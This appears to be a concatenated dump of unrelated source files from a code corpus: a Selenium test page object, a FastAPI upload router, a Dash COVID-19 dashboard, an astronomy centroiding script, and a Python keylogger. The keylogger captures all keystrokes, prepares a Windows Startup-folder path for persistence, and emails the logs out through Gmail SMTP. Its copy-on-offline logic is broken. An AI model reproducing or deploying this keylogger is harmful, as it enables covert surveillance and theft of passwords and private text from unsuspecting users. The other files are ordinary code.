self.driver.find_element_by_xpath(\"(//input[@id = 'phone'])[1]\").clear()\n self.do_send_keys(self.Edit_Phone_txtfield, phoneText)\n self.do_click(self.Action_Update_Button)\n time.sleep(2)\n emailVal = self.get_element_text(self.EmailId)\n phoneVal = self.get_element_text(self.Phone)\n return [emailVal, phoneVal]\n\n def get_Name_in_row(self):\n return self.get_element_attribute(self.Row_to_be_Deleted, 'data-email')\n\n def delete_record_get_name(self):\n # beforeDeletionRows = self.count_total_rows()\n self.do_click(self.Delete_Btn)\n self.do_click(self.Delete_popup_OK_Btn)\n time.sleep(3)\n # afterDeletionRows = self.count_total_rows()\n\n # if beforeDeletionRows != afterDeletionRows:\n return self.get_element_attribute(self.Row_to_be_Deleted, 'data-email')\n # else:\n # return False\n\n\n def click_cancel_btn(self):\n self.do_click(self.Action_Edit_Button)\n if self.is_visible(self.Action_Update_Button):\n self.do_click(self.Action_Cancel_Button)\n time.sleep(1)\n return self.is_visible(self.Action_Edit_Button)\n\n def count_total_rows(self):\n Rows = self.get_all_elements(self.Total_Rows)\n return len(Rows)\n\n def date_picker_functionality(self, Expected_Left_Date,Expected_Right_Date):\n self.click_calendarDateRange()\n self.select_dates_in_calendar(Expected_Left_Date,Expected_Right_Date)\n self.do_click(self.Calendar_Apply_Btn)\n self.click_calendarDateRange()\n Date_Display =self.get_element_text(self.Calendar_Date_Range_Display)\n Left_Date = Date_Display.split(\"-\")[0].strip()\n Right_Date = Date_Display.split(\"-\")[1].strip()\n Left_Day = Left_Date.split(\"/\")[0]\n Right_Day = Right_Date.split(\"/\")[0]\n Expected_Left_Day = Expected_Left_Date.split(\" \")[0].strip()\n Expected_Right_Day = Expected_Right_Date.split(\" \")[0].strip()\n if Left_Day==Expected_Left_Day and Right_Day==Expected_Right_Day:\n return True\n else:\n return False\n\n def click_view_button(self):\n self.do_click(self.Action_View_Button)\n return self.is_element_displayed(self.View_Customer_Chat_Window)\n\n def check_status_dropdown_values(self):\n self.do_click(self.Action_Edit_Button)\n self.do_click(self.Status_Dropdown)\n status_dropdown_values = self.select_by_dropdown(self.Status_Dropdown)\n return status_dropdown_values\n\n def select_status_dropdown_values(self, Status_Value):\n self.do_click(self.Action_Edit_Button)\n self.do_click(self.Status_Dropdown)\n select = Select(self.get_element(self.Status_Dropdown))\n select.select_by_visible_text(Status_Value)\n self.do_click(self.Action_Update_Button)\n elements = self.get_all_elements(self.Status_DropDown_Values)\n for ele in elements:\n if ele.text == Status_Value:\n return self.is_element_displayed(ele.get_attribute('style'))\n\n def get_total_customer_chats(self):\n All_View_Buttons = self.get_all_elements(self.All_Action_View_Button)\n\n if len(All_View_Buttons) > 10:\n i = 1\n for view_button in All_View_Buttons:\n if view_button.is_displayed():\n view_button.click()\n time.sleep(1)\n len_customer_chats = len(self.get_all_elements(self.Customer_Chats))\n self.driver.find_element_by_xpath(\"(//button[text() = '×'])[\"+str(i)+\"]\").click()\n i = i+2\n time.sleep(1)\n else:\n self.driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n time.sleep(1)\n self.driver.find_element_by_css_selector(\"span.glyphicon.glyphicon-chevron-right\").click()\n view_button.click()\n time.sleep(1)\n len_customer_chats = len(self.get_all_elements(self.Customer_Chats))\n self.driver.find_element_by_xpath(\"(//button[text() = '×'])[\" + str(i) + \"]\").click()\n i = i + 2\n time.sleep(1)\n return len_customer_chats\n\n else:\n i = 1\n for view_button in All_View_Buttons:\n view_button.click()\n\n time.sleep(1)\n len_customer_chats = len(self.get_all_elements(self.Customer_Chats))\n self.driver.find_element_by_xpath(\"(//button[text() = '×'])[\" + str(i) + \"]\").click()\n i = i + 2\n time.sleep(1)\n return len_customer_chats\n\n\n def click_pagination_next_button(self):\n if self.count_total_rows() > 10:\n self.driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n time.sleep(2)\n self.do_click(self.Pagination_Next_Btn)\n rows = self.get_all_elements(self.Total_Rows)\n for row in rows:\n if row.get_attribute('data-index') == '11' and row.get_attribute('style') == '':\n return True\n\n\n def click_pagination_previous_button(self):\n if self.count_total_rows() > 10:\n self.driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n time.sleep(2)\n self.do_click(self.Pagination_Next_Btn)\n self.do_click(self.Pagination_Previous_Btn)\n rows = self.get_all_elements(self.Total_Rows)\n for row in rows:\n if row.get_attribute('data-index') == '1' and row.get_attribute('style') == '':\n return True\n\n def click_pagination_first_button(self):\n total_rows = self.count_total_rows()\n self.driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n time.sleep(2)\n self.do_click(self.Pagination_Last_Btn)\n self.do_click(self.Pagination_First_Btn)\n rows = self.get_all_elements(self.Total_Rows)\n first_row = rows[0]\n if first_row.get_attribute('data-index') == '1':\n return True\n else:\n return False\n\n def click_pagination_Last_button(self):\n total_rows = self.count_total_rows()\n self.driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n time.sleep(2)\n self.do_click(self.Pagination_Last_Btn)\n rows = self.get_all_elements(self.Total_Rows)\n last_row = rows[-1]\n if last_row.get_attribute('data-index') == str(total_rows):\n return True\n else:\n return False\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "sub_path": "Pages/CommunicationPage.py", "file_name": "CommunicationPage.py", "file_ext": "py", "file_size_in_byte": 11155, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "Pages.BasePage.BasePage", "line_number": 11, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 14, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 14, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 15, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 15, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 16, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 16, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 17, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 17, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 18, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 18, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 19, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 19, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 20, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 20, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 21, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 21, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 22, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 22, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 23, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 23, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 24, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 24, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 28, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 28, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 32, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 32, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 33, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 33, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 34, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 34, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 35, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 35, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 36, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 36, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 37, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 37, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 38, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 38, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 39, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 39, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 40, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 40, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 41, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 41, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 42, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 42, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 43, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 43, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 44, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 44, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 45, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 45, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 46, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 46, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 47, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 47, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.ID", "line_number": 48, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 48, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 49, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 49, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 50, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 50, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 51, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 51, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 52, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 52, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 53, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 53, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 54, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 54, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 55, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 55, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 69, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.select.Select", "line_number": 79, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 96, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 108, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 121, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.select.Select", "line_number": 158, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 174, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 178, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 181, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 184, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 188, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 196, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 200, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 207, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 218, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 229, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 242, "usage_type": "call"}]} +{"seq_id": "336244656", "text": "from pynput.keyboard import Key, Listener\r\nimport os\r\nimport shutil\r\nimport time\r\nimport datetime\r\nimport winshell\r\nfrom win32com.client import Dispatch\r\nfrom shutil import copyfile\r\nimport tempfile\r\nimport smtplib\r\nfrom email.mime.multipart import MIMEMultipart\r\nfrom email.mime.text import MIMEText\r\nfrom email.mime.base import MIMEBase\r\nfrom email import encoders\r\nimport threading\r\nimport socket\r\n\r\nsave = tempfile.mkdtemp(\"screen\")\r\nprint(save)\r\ncwd = os.getcwd()\r\nsource = os.listdir()\r\n\r\ndateAndtime = datetime.datetime.now().strftime(\"-%Y-%m-%d-%H-%M-%S\")\r\nfilename = save+\"\\key_log\"+dateAndtime+\".txt\"\r\nopen(filename,\"w+\")\r\nkeys=[]\r\ncount = 0\r\ncountInternet = 0\r\nword = \"Key.\"\r\nusername = os.getlogin()\r\n\r\ndestination=r'C:\\Users\\{}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup'.format(username)\r\n\r\ndef is_connected():\r\n try:\r\n socket.create_connection((\"www.google.com\",80))\r\n return True\r\n except OSError:\r\n pass\r\n return False\r\n\r\ndef send_email():\r\n fromaddr = \"your email\"\r\n toaddr = \"your email\"\r\n password = \"your email pass\"\r\n msg = MIMEMultipart()\r\n msg['From'] = fromaddr\r\n msg['To'] = toaddr\r\n msg['Subject'] = username\r\n body = \"TEXT\"\r\n msg.attach(MIMEText(dateAndtime,'plain'))\r\n attachment = open(filename, \"rb\")\r\n part = MIMEBase('application', 'octet-stream')\r\n part.set_payload((attachment).read())\r\n encoders.encode_base64(part)\r\n part.add_header('Content-Disposition', \"attachment; filename= %s\" % filename)\r\n msg.attach(part)\r\n server = smtplib.SMTP('smtp.gmail.com', 587)\r\n server.starttls()\r\n server.login(fromaddr, password)\r\n text = msg.as_string()\r\n server.sendmail(fromaddr,toaddr,text)\r\n server.quit\r\n\r\ndef write_file(keys):\r\n with open(filename,\"a\") as f:\r\n for key in keys:\r\n if key == 'Key.enter':\r\n f.write(\"\\n\")\r\n elif key == 'Key.space':\r\n f.write(key.replace(\"Key.space\",\" \"))\r\n elif key[:4] == word:\r\n pass\r\n else:\r\n f.write(key.replace(\"'\",\"\"))\r\n \r\ndef on_press(key):\r\n global keys, count, countInternet, filename\r\n keys.append(str(key))\r\n\r\n if len(keys) > 10:\r\n write_file(keys)\r\n if is_connected():\r\n count += 1\r\n print('connected {}'.format(count))\r\n if count > 100:\r\n count = 0\r\n t1 = threading.Thread(target=send_email, name='t1')\r\n t1.start()\r\n else:\r\n countInternet += 1\r\n print('not connected',countInternet)\r\n if countInternet > 10:\r\n countInternet = 0\r\n filename = filename.strip(save)\r\n for files in save:\r\n if file == filename:\r\n shutil.copy(files+\"t\",source)\r\n\r\n keys.clear()\r\nwith Listener(on_press=on_press) as listener:\r\n listener.join()\r\n \r\n \r\n \r\n", "sub_path": "keylogger.py", "file_name": "keylogger.py", "file_ext": "py", "file_size_in_byte": 3049, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "tempfile.mkdtemp", "line_number": 18, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 20, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 21, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.getlogin", "line_number": 30, "usage_type": "call"}, {"api_name": "socket.create_connection", "line_number": 36, "usage_type": "call"}, {"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 46, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 51, "usage_type": "call"}, {"api_name": "email.mime.base.MIMEBase", "line_number": 53, "usage_type": "call"}, {"api_name": "email.encoders.encode_base64", "line_number": 55, "usage_type": "call"}, {"api_name": "email.encoders", "line_number": 55, "usage_type": "name"}, {"api_name": "smtplib.SMTP", "line_number": 58, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 88, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 98, "usage_type": "call"}, {"api_name": "pynput.keyboard.Listener", "line_number": 101, "usage_type": "call"}]} +{"seq_id": "396512606", "text": "import shutil\nfrom typing import List\nfrom fastapi import APIRouter, UploadFile, File, Form\nfrom schemas import UploadVideo, GetVideo\nfrom models import Video, User\n\nvideo_router = APIRouter()\n\n\n@video_router.post(\"/\")\nasync def create_video(title: str = Form(...), description: str = Form(...), file: UploadFile = File(...)):\n info = UploadVideo(title=title, description=description)\n with open(f'{file.filename}', \"wb\") as buffer:\n shutil.copyfileobj(file.file, buffer)\n user = await User.objects.first()\n return await Video.objects.create(file=file.filename, user=user, **info.dict())\n\n\n@video_router.get(\"/video/{video_pk}\")\nasync def get_video(video_pk: int):\n video = await Video.objects.select_related(\"user\").get(pk=video_pk)\n return video\n", "sub_path": "api.py", "file_name": "api.py", "file_ext": "py", "file_size_in_byte": 773, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "fastapi.APIRouter", "line_number": 7, "usage_type": "call"}, {"api_name": "fastapi.UploadFile", "line_number": 11, "usage_type": "name"}, {"api_name": "fastapi.Form", "line_number": 11, "usage_type": "call"}, {"api_name": "fastapi.File", "line_number": 11, "usage_type": "call"}, {"api_name": "schemas.UploadVideo", "line_number": 12, "usage_type": "call"}, {"api_name": "shutil.copyfileobj", "line_number": 14, "usage_type": "call"}, {"api_name": "models.User.objects.first", "line_number": 15, "usage_type": "call"}, {"api_name": "models.User.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "models.User", "line_number": 15, "usage_type": "name"}, {"api_name": "models.Video.objects.create", "line_number": 16, "usage_type": "call"}, {"api_name": "models.Video.objects", "line_number": 16, "usage_type": "attribute"}, {"api_name": "models.Video", "line_number": 16, "usage_type": "name"}, {"api_name": "models.Video.objects.select_related", "line_number": 21, "usage_type": "call"}, {"api_name": "models.Video.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "models.Video", "line_number": 21, "usage_type": "name"}]} +{"seq_id": "321770988", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun May 3 18:16:12 2020\r\n\r\n@author: Annie\r\n\"\"\"\r\n#import os\r\n#from random import randint\r\n#import flask\r\nimport dash\r\nimport dash_bootstrap_components as dbc\r\nimport dash_core_components as dcc\r\nimport dash_html_components as html\r\nfrom dash.dependencies import Input, Output\r\nimport pandas as pd\r\n#import numpy as np\r\nimport plotly.graph_objects as go\r\n#import plotly.express as px\r\nimport datetime\r\n\r\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']#, dbc.themes.BOOTSTRAP]\r\n\r\n#configure app - might need more research on external stylesheets\r\napp = dash.Dash(__name__, external_stylesheets = [dbc.themes.BOOTSTRAP])\r\nserver = app.server\r\napp.config.suppress_callback_exceptions = True\r\napp.title='MSDS498'\r\n\r\n#data setup\r\nus_data = pd.read_json(path_or_buf='https://covidtracking.com/api/us/daily')\r\nstate_data = pd.read_json(path_or_buf='https://covidtracking.com/api/states/daily')\r\nstate_data['date'] = state_data['date'].astype(str)\r\nus_data['date'] = us_data['date'].astype(str)\r\nstate_data['date'] = state_data.apply(lambda x: datetime.datetime.strptime(x['date'], '%Y%m%d'), axis = 1)\r\nus_data['date'] = us_data.apply(lambda x: datetime.datetime.strptime(x['date'], '%Y%m%d'), axis = 1)\r\n\r\nstates = sorted(set(state_data['state']))\r\ngeo_values = ['positive', 'hospitalized','recovered', 'death', 'totalTestResults', 'positiveIncrease', 'deathIncrease', 'hospitalizedIncrease']\r\nrecent_date = max(state_data['date'])\r\nrecent_state_data = state_data.loc[state_data['date'] == recent_date]\r\nrecent_us_data = us_data.loc[us_data['date'] == recent_date]\r\n\r\n#MA WOW\r\nSevenDaysBack = recent_date + datetime.timedelta(days=-7)\r\nFourteenDaysBack = recent_date + datetime.timedelta(days=-14)\r\ndf_State_PastWeek = state_data[state_data['date']>=SevenDaysBack ]\r\ndf_State_PriorPastWeek = state_data[(state_data['date']>=FourteenDaysBack) & (state_data['date']23} {:>32} {:>40} {:>25} {:>15} {:>9}\".format(\"Star\", \"Background\",\n \"Centroid width: 3\", \"5\", \"7\",\n \"TruePositions\", \"LoLeftCoords\",\n \"Magnitude\",\n \"MinDiff\")\n line0b = \"{:>25} {:>12} {:>16} {:>14} {:>16} {:>20} {:>16} {:>17} {:>11} {:>11} {:>16} {:>2}\".format(\n \"x\", \"y\", \"x\", \"y\", \"x\", \"y\",\n \"TrueX\", \"TrueY\", \"LoLeftX\", \"LoLeftY\",\n \"x\", \"y\")\n lines4screenandfile = [line0, line0a, line0b]\n # write the file\n positions = [\"_Position1\", \"_Position2\"]\n if save_text_file:\n for pos in positions:\n output_file = os.path.join(output_file_path, \"centroids_Scene\"+repr(scene)+bg_choice+pos+\".txt\")\n f = open(output_file, \"w+\")\n f.write(line0+\"\\n\")\n f.close()\n if keep_ugly_stars and not keep_bad_stars:\n for pos in positions:\n out_file_gduglies = os.path.join(output_file_path, \"centroids_Scene\"+repr(scene)+bg_choice+pos+\"_GoodAndUglies.txt\")\n f = open(out_file_gduglies, \"w+\")\n f.write(line0+\"\\n\")\n f.close()\n\n # get the star files to run the TA algorithm on\n dir2test_list = TAf.get_raw_star_directory(path4starfiles, scene, shutters, noise)\n\n # run centroid algorithm on each position and save them into a text file\n x13, x15, x17 = np.array([]), np.array([]), np.array([])\n y13, y15, y17 = np.array([]), np.array([]), np.array([])\n x23, x25, x27 = np.array([]), np.array([]), np.array([])\n y23, y25, y27 = np.array([]), np.array([]), np.array([])\n min_diff_pixposX, min_diff_pixposY, mag_list = [], [], []\n loleftcoords_listX, loleftcoords_listY = [], []\n true_centerX, true_centerY = [], []\n\n for pos, dir2test in zip(positions, dir2test_list):\n dir_stars = glob(os.path.join(dir2test,\"postageout_star_*.fits\")) # get all star fits files in that directory\n #print(\"does dir2test exist?\", os.path.isdir(dir2test))\n for star in dir_stars:\n dir_star_number = int(os.path.basename(star).split()[1])\n # Test stars of detector of choice\n for st in stars_sample:\n if st == dir_star_number: #if str(st)+\" quad_ \" in star:\n if verbose:\n print (\"Will test stars in directory: \\n \", dir2test)\n print (\"Star: \", os.path.basename(star))\n # Make sure the file actually exists\n star_exists = os.path.isfile(star)\n if not star_exists:\n print (\"The file: \", star, \"\\n does NOT exist. Exiting the script.\")\n exit()\n\n # Obtain real star position and corresponding detector\n if st <= 100:\n detector = detectors[1]\n else:\n detector = detectors[0]\n idx_star = stars_sample.index(st)\n mag_i = magnitudes[idx_star]\n true_center_fulldet = [bench_xP1[idx_star], bench_yP1[idx_star]]\n\n #!!! WE ARE NOT USING POSITIONS 2 (SHIFTED) BECAUSE WE ARE FIXING POSITION 1 AS\n # REFERENCE POINT TO BEST REPRODUCE OBSERVATION MODE\n #if pos == \"_Position2\":\n # true_center_fulldet = [bench_xP2[idx_star], bench_yP2[idx_star]]\n\n # Read FITS image\n if verbose:\n print (\"Running centroid algorithm... \")\n #hdr = fits.getheader(star, 0)\n #print(\"** HEADER:\", hdr)\n master_img = fits.getdata(star, 0)\n if verbose:\n print ('Master image shape: ', np.shape(master_img))\n # Obtain the combined FITS image that combines all frames into one image\n # background subtraction is done here\n psf = TAf.readimage(master_img, backgnd_subtraction_method, bg_method=background_method,\n bg_value=bg_value, bg_frac=bg_frac, verbose=verbose, debug=debug)\n cb_centroid_list_in32x32pix = TAf.run_recursive_centroids(psf, bg_frac, xwidth_list, ywidth_list,\n checkbox_size, max_iter, threshold,\n determine_moments, verbose, debug)\n\n corr_cb_centroid_list, loleftcoords, true_center32x32, differences_true_TA = TAf.centroid2fulldetector(cb_centroid_list_in32x32pix,\n true_center_fulldet, detector, perform_avgcorr=Pier_corr)\n if not output_full_detector:\n cb_centroid_list = cb_centroid_list_in32x32pix\n true_center = true_center32x32\n else:\n true_center = true_center_fulldet\n if show_centroids:\n print ('***** Measured centroids for centroid window sizes 3, 5, and 7, respectively:')\n print (' cb_centroid_list = ', corr_cb_centroid_list)\n print (' True center = ', true_center)\n\n # Show the display with the measured and true positions\n fig_name = os.path.join(\"../resultsXrandomstars\", \"centroid_displays/Star\"+repr(st)+\"_Scene\"+repr(scene)+bg_choice+pos+\".jpg\")\n # Display the combined FITS image that combines all frames into one image\n m_img = display_master_img\n if display_master_img:\n m_img = TAf.readimage(master_img, backgnd_subtraction_method=None, bg_method=None,\n bg_value=None, bg_frac=None, debug=False)\n TAf.display_centroids(detector, st, case, psf, true_center32x32, cb_centroid_list_in32x32pix,\n show_disp, vlim, savefile=save_centroid_disp, fig_name=fig_name, display_master_img=m_img)\n if pos == \"_Position2\":\n true_center_fulldetP2 = [bench_xP2[idx_star], bench_yP2[idx_star]]\n _, _, true_center32x32P2, _ = TAf.centroid2fulldetector(cb_centroid_list_in32x32pix,\n true_center_fulldetP2, detector, perform_avgcorr=Pier_corr)\n #print ('true_center32x32 P1:', true_center32x32)\n #print ('true_center32x32 P2:', true_center32x32P2)\n # the following correction is because the postage stamp is centered on position 1 even if the\n # the star moved to position 2.\n if st <= 100:\n true_center32x32P2[0] = true_center32x32P2[0]+1.0\n true_center32x32P2[1] = true_center32x32P2[1]+2.0\n else:\n true_center32x32P2[0] = true_center32x32P2[0]-1.0\n true_center32x32P2[1] = true_center32x32P2[1]-2.0\n #print ('true_center32x32 P2:', true_center32x32P2)\n #print ('cb_centroid_list_in32x32pix:')\n #print (cb_centroid_list_in32x32pix)\n TAf.display_centroids(detector, st, case, psf, true_center32x32P2, cb_centroid_list_in32x32pix,\n show_disp, vlim, savefile=save_centroid_disp, fig_name=fig_name, display_master_img=m_img)\n # Find the best centroid window size = minimum difference with true values\n min_diff, _ = TAf.get_mindiff(differences_true_TA[0][0], differences_true_TA[0][1], differences_true_TA[0][2])\n # Save output\n true_centerX.append(true_center[0])\n true_centerY.append(true_center[1])\n loleftcoords_listX.append(loleftcoords[0])\n loleftcoords_listY.append(loleftcoords[1])\n mag_list.append(mag_i)\n min_diff_pixposX.append(min_diff[0])\n min_diff_pixposY.append(min_diff[1])\n if pos == \"_Position1\":\n x13 = np.append(x13, corr_cb_centroid_list[0][0])\n x15 = np.append(x15, corr_cb_centroid_list[1][0])\n x17 = np.append(x17, corr_cb_centroid_list[2][0])\n y13 = np.append(y13, corr_cb_centroid_list[0][1])\n y15 = np.append(y15, corr_cb_centroid_list[1][1])\n y17 = np.append(y17, corr_cb_centroid_list[2][1])\n if pos == \"_Position2\":\n x23 = np.append(x23, corr_cb_centroid_list[0][0])\n x25 = np.append(x25, corr_cb_centroid_list[1][0])\n x27 = np.append(x27, corr_cb_centroid_list[2][0])\n y23 = np.append(y23, corr_cb_centroid_list[0][1])\n y25 = np.append(y25, corr_cb_centroid_list[1][1])\n y27 = np.append(y27, corr_cb_centroid_list[2][1])\n # Write output into text file\n position = \"_Position1\"\n x_pixpos = [x13, x15, x17]\n y_pixpos = [y13, y15, y17]\n if pos == \"_Position2\":\n x_pixpos = [x23, x25, x27]\n y_pixpos = [y23, y25, y27]\n position = \"_Position2\"\n true_centers = [true_centerX, true_centerY]\n loleftcoords_list = [loleftcoords_listX, loleftcoords_listY]\n output_file = os.path.join(output_file_path, \"centroids_Scene\"+repr(scene)+bg_choice+position+\".txt\")\n data2write = [x_pixpos, y_pixpos, true_centers, loleftcoords_list, mag_list, min_diff_pixposX, min_diff_pixposY]\n TAf.writePixPos(save_text_file, show_centroids, output_file, lines4screenandfile, stars_sample, background2use, data2write)\n\n if debug:\n print (\"Check that read BENCHMARK values correspond to expected for case: \", case)\n print (\"Star, xP1, yP1, V2P1, V3P1, xLP1, yLP1\")\n print (bench_starP1[0], bench_xP1[0], bench_yP1[0], bench_V2P1[0], bench_V3P1[0], bench_xLP1[0], bench_yLP1[0])\n print (\"Star, xP2, yP2, V2P2, V3P2, xLP2, yLP2\")\n print (bench_starP2[0], bench_xP2[0], bench_yP2[0], bench_V2P2[0], bench_V3P2[0], bench_xLP2[0], bench_yLP2[0])\n print (\"Check that read MEASURED values correspond to expected for the same case: \", case)\n print (\" -> reading measured info from: \", case)\n print (\"Star, BG, x13, y13, x15, y15, x17, y17, LoLeftP1 (x, y), TrueP1 (x, y)\")\n print (stars_sample[0], bg_choice, x13[0], y13[0], x15[0], y15[0], x17[0], y17[0], bench_xLP1[0], bench_yLP1[0], bench_xP1[0], bench_yP1[0])\n print 